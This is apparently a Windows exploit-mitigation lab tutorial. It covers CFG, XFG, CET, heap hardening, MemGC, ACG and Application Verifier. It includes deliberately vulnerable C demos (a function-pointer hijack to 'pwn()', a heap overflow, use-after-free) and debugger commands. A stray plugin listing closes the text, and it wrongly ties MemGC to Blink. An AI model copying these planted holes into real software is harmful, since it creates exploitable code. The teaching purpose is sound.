#[*] XFG Type Confusion Test
#[*] int_handler at: 00007FF64B8C1C50
#[*] str_handler at: 00007FF64B8C6670
#[*] noarg_handler at: 00007FF64B8C5FE0
#[*] TEST 3: Invalid address (0xDEADBEEF)
#[!] Not a valid function entry — CFG will block
#[*] Calling through IntHandler pointer...
# NOTE: (Process terminated via __fastfail)
dumpbin /loadconfig bin\xfg_concept.exe | findstr -i "XFG"
#Dump of file bin\xfg_concept.exe
# 00000001400B7010 Guard XFG address of check-function pointer
# 00000001400B7030 Guard XFG address of dispatch-function pointer
# 00000001400B7040 Guard XFG address of dispatch-table-function pointer
[!IMPORTANT] XFG Enforcement is OS-Level, Not Compiler-Level: The compiler generates XFG metadata (type hashes) when
/guard:cfis used on recent MSVC versions. However, whether XFG type checking is actually enforced depends on the Windows version and configuration. On most current systems, Test 2 will SUCCEED because CFG is enforced (coarse-grained) but XFG type validation is not yet widely enforced. XFG represents the future direction of Windows CFI, where type-confused calls will be blocked.
Build a program that demonstrates BOTH what CFG blocks and what it allows:
// cfg_analysis.c — Task 1: Prove CFG's coarse-grained limitation
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
typedef int (*MathOp)(int, int);
int add(int a, int b) { printf("[+] add(%d,%d) = %d\n", a, b, a+b); return a+b; }
int sub(int a, int b) { printf("[+] sub(%d,%d) = %d\n", a, b, a-b); return a-b; }
int pwn(int a, int b) { printf("[!] PWNED via redirect to pwn()!\n"); return 0xDEAD; }
int main(int argc, char **argv) {
MathOp op = add;
printf("[*] add at %p, sub at %p, pwn at %p\n",
(void*)add, (void*)sub, (void*)pwn);
fflush(stdout);
if (argc > 1 && argv[1][0] == '1') {
// Redirect to another valid function — CFG ALLOWS
printf("[*] Redirecting function pointer to pwn()...\n");
op = pwn;
} else if (argc > 1 && argv[1][0] == '2') {
// Redirect to shellcode address — CFG BLOCKS
printf("[*] Redirecting function pointer to 0xBAADF00D...\n");
op = (MathOp)0xBAADF00D;
}
fflush(stdout);
int result = op(10, 5);
printf("[*] Result: %d\n", result);
return 0;
}
# Compile with and without CFG
cl /Zi /guard:cf src\cfg_analysis.c /Fe:bin\cfg_analysis.exe /link /guard:cf /DEBUG
# Test 1: valid redirect -> CFG allows
.\bin\cfg_analysis.exe 1
# Expected: [!] PWNED via redirect to pwn()!
# Test 2: invalid redirect -> CFG blocks
.\bin\cfg_analysis.exe 2
# Expected: Process terminates immediately.
# Note: You may see 0xC0000005 (Access Violation) if the CFG bitmap for that address is unmapped.
# Verify in WinDbg:
windbg bin\cfg_analysis.exe 2
# > g
# !analyze -v -> FAIL_FAST_GUARD_ICALL_CHECK_FAILURE or INVALID_POINTER_READ
Verify that CET is active on your system and understand its impact:
# 1. Check CPU support for CET
Get-CimInstance -ClassName Win32_Processor | Select-Object Name, Caption
# Intel 12th gen+ or AMD Zen 3+ have CET
# 2. Check if shadow stacks are enforced
Get-ProcessMitigation -System | Select-Object -ExpandProperty UserShadowStack
# Look for: Enable = ON, AuditMode = OFF
# 3. Check per-process CET status
Get-ProcessMitigation -Name notepad.exe | Select-Object -ExpandProperty UserShadowStack
# 4. Verify in WinDbg (needs kernel debugging enabled)
# bcdedit -debug on, and the rest ...
windbg -pn notepad.exe
# In WinDbg:
# !process 0 0
# .process /i <EPROCESS>
# g
# dt nt!_KTHREAD @$thread UserShadowStacksEnabled
[!NOTE] You cannot easily test CET bypass because CET completely blocks return address tampering — there is no "allowed" case. Any ROP chain or return address overwrite causes immediate shadow stack mismatch ->
__fastfail(37)-> exit code0x80000003. This is fundamentally different from CFG, which has a coarse-grained bypass.
| Feature | CFG | CET | XFG |
|---|---|---|---|
| Protects | Indirect calls/jumps | Return addresses | Function type matching |
| Mechanism | Software bitmap | Hardware shadow stack | Enhanced CFG + type hash |
| Requires | Windows 8.1+ | Intel 11th+ / Zen 3+ + Win11 | Windows 11 22H2+ |
| Overhead | ~1-5% | <1% (hardware) | ~2-7% |
| Granularity | Coarse (any valid function) | Exact (per-return address) | Fine (per-call-site type) |
| Bypass Difficulty | Medium (valid-func redirect) | Very Hard (hardware) | Hard |
| Exit code on kill | 0x80000003 (__fastfail) | 0x80000003 (__fastfail) | 0x80000003 (__fastfail) |
__fastfail executes int 0x29 which traps to the
kernel. The process exit code is STATUS_BREAKPOINT (0x80000003), NOT 0xC0000409. The
exception record contains the detailed fast-fail code (10 for CFG, 37 for CET)./guard:xfg compiler flag.is_admin flag or authentication
token without touching any function pointer.ENDBR64 at branch targets — backward
compatible (it's a NOP on older CPUs), but provides forward-edge protection on CET
hardware.Why does CFG allow any valid function, not just compatible types?
CFG uses a single bitmap with 1 bit per 16-byte slot. It only records which addresses are valid function entries — not which functions are valid for a particular call site. Per-call-site validation would require much more metadata and runtime overhead. XFG addresses this with type hashes, but it's still not deployed universally.
How does CET shadow stack affect legitimate exception handling?
Exception unwinding must update both the regular and shadow stacks. The OS exception dispatcher uses
INCSSP/RSTORSSPto adjust the shadow stack during unwinding.setjmp/longjmpalso save/restore shadow stack state. This is handled transparently by the CRT — application code doesn't need changes.
What attack surfaces remain even with CFG + CET + XFG?
Data-only attacks: corrupt
is_adminflags, authentication tokens, file paths, SQL query strings, or configuration data — none of which involve function pointers or return addresses. Also: JIT-compiled code (if ACG is not enabled), DLL injection (if CIG is not enabled), and kernel attacks via drivers not covered by HVCI.
Can CFI be perfect, or will bypasses always exist?
Perfect CFI requires knowing the complete, precise set of valid targets for every indirect call at every point in execution — essentially a complete program analysis. This is undecidable in general (halting problem). In practice, we can get very close with XFG + CET + ACG + CIG, but novel attack classes (data-only, confused deputies, side channels) will always exist outside the CFI protection model.
Before covering user-mode heaps, understand that the kernel has its own pool allocator with significant hardening.
Pool Types:
Windows Kernel Pool Types
Pool Hardening Features:
Windows Pool Protections:
Why Kernel Pool Matters for Exploitation:
Classic Kernel Pool Exploit:
Heap Managers:
NT Heap Protections:
Safe Unlinking:
// Validates chunk metadata before unlinking
// Prevents classic unlink exploits
if (chunk->flink->blink != chunk ||
chunk->blink->flink != chunk) {
// Corruption detected!
RtlpHeapHandleError();
}
Heap Cookie:
// Similar to stack cookie
// Stored in heap metadata
// Checked on free()
_HEAP_ENTRY {
WORD Size;
WORD Flags;
BYTE SmallTagIndex;
BYTE Cookie; // Random per-heap value
...
};
Encoded Metadata:
// Heap headers are XORed with encoding key
// Prevents direct metadata manipulation
ULONG_PTR encoded_size = actual_size ^ heap->Encoding;
entry->Size = encoded_size;
Heap Overflow Detection:
// heap_overflow.c
#include <windows.h>
#include <stdio.h>
#include <string.h>
int main() {
HANDLE hHeap = GetProcessHeap();
// Allocate two adjacent chunks
char *chunk1 = (char*)HeapAlloc(hHeap, 0, 64);
char *chunk2 = (char*)HeapAlloc(hHeap, 0, 64);
printf("[*] Chunk1: %p (64 bytes)\n", chunk1);
printf("[*] Chunk2: %p (64 bytes)\n", chunk2);
printf("[*] Gap: %lld bytes\n", (long long)((char*)chunk2 - (char*)chunk1));
fflush(stdout);
// Write valid data
memcpy(chunk1, "Hello", 6);
memcpy(chunk2, "World", 6);
printf("[*] Before overflow: chunk2 = '%s'\n", chunk2);
fflush(stdout);
// Overflow: write 128 bytes into 64-byte chunk1
// This corrupts chunk2's heap metadata (encoded headers)
printf("[!] Overflowing chunk1 with 128 bytes of 'A'...\n");
fflush(stdout);
memset(chunk1, 'A', 128); // Way beyond 64 bytes!
// Try to free chunk2 — heap validates encoded metadata
printf("[*] Attempting HeapFree(chunk2)...\n");
fflush(stdout);
HeapFree(hHeap, 0, chunk2);
// Heap corruption detected -> process terminates
printf("[-] Should not reach here\n");
return 0;
}
Compile and Test:
# Save to C:\Windows_Mitigations_Lab\src\heap_overflow.c
cd C:\Windows_Mitigations_Lab
cl /Zi src\heap_overflow.c /Fe:bin\heap_overflow.exe /link /DEBUG
# Run normally — may or may not crash depending on heap layout
.\bin\heap_overflow.exe
# If adjacent: crash on HeapFree with STATUS_HEAP_CORRUPTION (0xC0000374)
# If not adjacent: corruption may go undetected!
# Enable Page Heap for GUARANTEED detection:
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\gflags.exe" /p /enable bin\heap_overflow.exe /full
.\bin\heap_overflow.exe
# Now: immediate access violation when writing past chunk1's boundary
# Exit code: 0xC0000005 (STATUS_ACCESS_VIOLATION) — guard page hit
# Disable Page Heap when done:
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\gflags.exe" /p /disable bin\heap_overflow.exe
Viewing in WinDbg:
windbg bin\heap_overflow.exe
# Enable Page Heap for detailed detection
# Run again
g
# Crash will provide detailed heap corruption info
!analyze -v
# Shows exactly which heap check failed
What is Segment Heap?:
Key Features:
Segment-based Allocation:
Small allocations (<128KB): Use segments
Large allocations: Direct VirtualAlloc
Segments organized by size classes
Reduces fragmentation
Guard Pages:
[Segment] [Guard Page] [Segment] [Guard Page]
Guard pages detect:
- Linear overflows between segments
- Use-after-free (pages decommitted)
Randomization:
- Allocation order randomized
- Metadata location randomized
- Makes heap spraying harder
Testing Segment Heap:
// segment_heap_test.c
#include <windows.h>
#include <stdio.h>
// Note: Segment Heap is enabled automatically for:
// - UWP apps
// - Apps with "SegmentHeap" in manifest
// - System processes on Windows 10 2004+
int main() {
HANDLE hHeap;
// Default heap creation - system decides based on app configuration
// On modern Windows with proper manifest, this uses Segment Heap
hHeap = HeapCreate(0, 0, 0);
if (!hHeap) {
printf("Failed to create segment heap\n");
return 1;
}
printf("Segment heap created: %p\n", hHeap);
// Allocate from segment heap
for (int i = 0; i < 100; i++) {
void *p = HeapAlloc(hHeap, 0, 64);
printf("Allocation %d: %p\n", i, p);
}
HeapDestroy(hHeap);
return 0;
}
Compile and Run:
# Save to src\segment_heap_test.c
cl /Zi src\segment_heap_test.c /Fe:bin\segment_heap_test.exe /link /DEBUG
# Run the test
.\bin\segment_heap_test.exe
Expected Output:
Segment heap created: 0000019E62DD0000
Allocation 0: 0000019E62DD0860
Allocation 1: 0000019E62DD08B0
Allocation 2: 0000019E62DD0900
...
Allocation 16: 0000019E62DD0D60
Allocation 17: 0000019E62DD0750 <-- Randomization: address jumped backward!
Allocation 18: 0000019E62DD3770 <-- Randomization: large jump forward
Allocation 19: 0000019E62DD3900
...
Allocation 99: 0000019E62DD4F30
[!NOTE] Notice how the allocation addresses jump around (e.g., from
...D60to...750then...3770). Unlike the NT Heap which typically allocates sequentially, the Segment Heap randomizes allocation order within segments to make heap spraying and grooming significantly more difficult.
What is MemGC?:
How MemGC Works:
// Without MemGC:
Object *obj = new Object();
delete obj; // Memory freed
Object *obj2 = new Object(); // Reuses same memory!
// obj is now dangling pointer
// With MemGC:
Object *obj = new Object();
delete obj; // Memory marked for reclamation
Object *obj2 = new Object(); // Gets DIFFERENT memory
// Later: GC reclaims obj's memory
// obj dangling pointer points to unmapped memory -> crash
Key Concepts:
Simulating MemGC Behavior:
Since MemGC is specific to the Edge browser engine (Blink), we cannot directly use it in a standalone C++ application. However, we can simulate its strict memory safety guarantees (crashing on use-after-free) using Page Heap.
// memgc_test.cpp
#include <windows.h>
#include <stdio.h>
struct Object {
int data;
void (*callback)();
};
void safe_callback() {
printf("Safe callback\n");
}
int main() {
// Allocate object
Object *obj = new Object();
obj->data = 42;
obj->callback = safe_callback;
// Use it
obj->callback(); // OK
// Delete it
delete obj;
// UAF attempt
// Standard Heap: Likely succeeds (memory not cleared immediately)
// MemGC / Page Heap: Crashes immediately (access violation)
obj->callback();
return 0;
}
Compile and Run (Simulation):
To see the crash, we must enable Page Heap to force an access violation on the freed memory:
# Compile
cl /Zi src\memgc_test.cpp /Fe:bin\memgc_test.exe /link /DEBUG
# 1. Run normally (Standard Heap)
.\bin\memgc_test.exe
# Output:
# Safe callback
# Safe callback <-- UAF succeeds! (Dangerous)
# 2. Enable Page Heap (Simulates MemGC strictness)
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\gflags.exe" /p /enable bin\memgc_test.exe /full
# 3. Run again
.\bin\memgc_test.exe
# Output:
# Safe callback
# (Crash / Silence) <-- UAF caught!
# Cleanup
"C:\Program Files (x86)\Windows Kits\10\Debuggers\x64\gflags.exe" /p /disable bin\memgc_test.exe
Limitations:
malloc/free or new/delete)What is ACG?:
How ACG Works:
Testing ACG:
// acg_test.c - This will fail with ACG enabled
#include <windows.h>
#include <stdio.h>
int main() {
// Try to allocate executable memory
void *mem = VirtualAlloc(NULL, 4096, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (mem == NULL) {
printf("ACG blocked VirtualAlloc RWX! Error: %d\n", GetLastError());
return 1;
}
printf("Allocated RWX memory at %p\n", mem);
return 0;
}
Compile and Run:
# Compile
cl /Zi src\acg_test.c /Fe:bin\acg_test.exe /link /DEBUG
# Run without ACG
.\bin\acg_test.exe
# Output:
# Allocated RWX memory at 00000210A61B0000
# Enable ACG for this app(powershell admin)
Set-ProcessMitigation -Name "C:\Windows_Mitigations_Lab\bin\acg_test.exe" -Enable BlockDynamicCode
# Run with ACG
.\bin\acg_test.exe
# Output:
# ACG blocked VirtualAlloc RWX! Error: 1655
# Disable ACG
Set-ProcessMitigation -Name "C:\Windows_Mitigations_Lab\bin\acg_test.exe" -Disable BlockDynamicCode
What is CIG?:
ACG + CIG Combined:
What is Application Verifier?:
What It Detects:
Example:
// heap_uaf.c
#include <windows.h>
#include <stdio.h>
#include <string.h>
int main() {
HANDLE hHeap = GetProcessHeap();
char *p = (char*)HeapAlloc(hHeap, 0, 100);
strcpy(p, "Hello from allocated memory");
printf("[*] Allocated: %p, content: '%s'\n", p, p);
fflush(stdout);
HeapFree(hHeap, 0, p);
printf("[*] Freed %p\n", p);
fflush(stdout);
// UAF: access after free
// Without AppVerifier: may print stale data or garbage
// (memory not yet reclaimed -> no crash!)
// With AppVerifier: IMMEDIATE access violation on the read
printf("[!] UAF read: '%s'\n", p);
fflush(stdout);
// Second UAF: write after free
strcpy(p, "CORRUPTED");
printf("[!] UAF write succeeded (no AppVerifier)\n");
fflush(stdout);
return 0;
}
# Compile
cd C:\Windows_Mitigations_Lab
cl /Zi src\heap_uaf.c /Fe:bin\heap_uaf.exe /link /DEBUG
# Run WITHOUT AppVerifier — UAF likely succeeds silently!
.\bin\heap_uaf.exe
# Output: [*] Allocated: ..., content: 'Hello from allocated memory'
# Output: [*] Freed ...
# Output: [!] UAF read: 'Çùα╢Z' (garbage/stale data!)
# Output: [!] UAF write succeeded (no AppVerifier)
# Exit code: 0x0 — no crash, no detection!
# Enable AppVerifier — UAF caught immediately
appverif -enable Heaps -for bin\heap_uaf.exe
.\bin\heap_uaf.exe
# Output: [*] Allocated: ..., content: 'Hello from allocated memory'
# Output: [*] Freed ...
# Program terminates silently — AppVerifier caught the UAF!
# Exit code: Non-zero (process terminated by AppVerifier)
# AppVerifier places guard pages on freed allocations
# Disable AppVerifier when done:
appverif -disable Heaps -for bin\heap_uaf.exe
Windows provides several isolation mechanisms beyond memory protections.
What is AppContainer?:
AppContainer Architecture:
Traditional Win32 App: AppContainer App:
---------------------------------------------------------------
┌────────────────────────┐ ┌────────────────────────┐
│ Admin/User Token │
What SKILL.md sets; muted values are Claude Code's defaults
npx claudepluginhub 26zl/cybersec-toolkit --plugin cybersec-toolkit880 skills in this plugin
/acquiring-disk-image-with-dd-and-dcflddCreate forensically sound bit-for-bit disk images with dd or dcfldd on a Linux forensic workstation, preserving evidence integrity through hash verification (MD5/SHA) during acquisition. Use when imaging a suspect drive, USB device, or memory card for investigation, preserving volatile disk evidence during incident response, or producing a verified copy for legal or law-enforcement proceedings before any destructive analysis./add-toolUse when adding a new cybersecurity tool to this installer. Walks through editing the right module file, adding to tools_config.json, running validators, and syncing MCP server data if needed. Triggers on phrases like "add tool", "add <toolname>", "register a new tool", "include X in the installer"./Other plugins' skills for the same job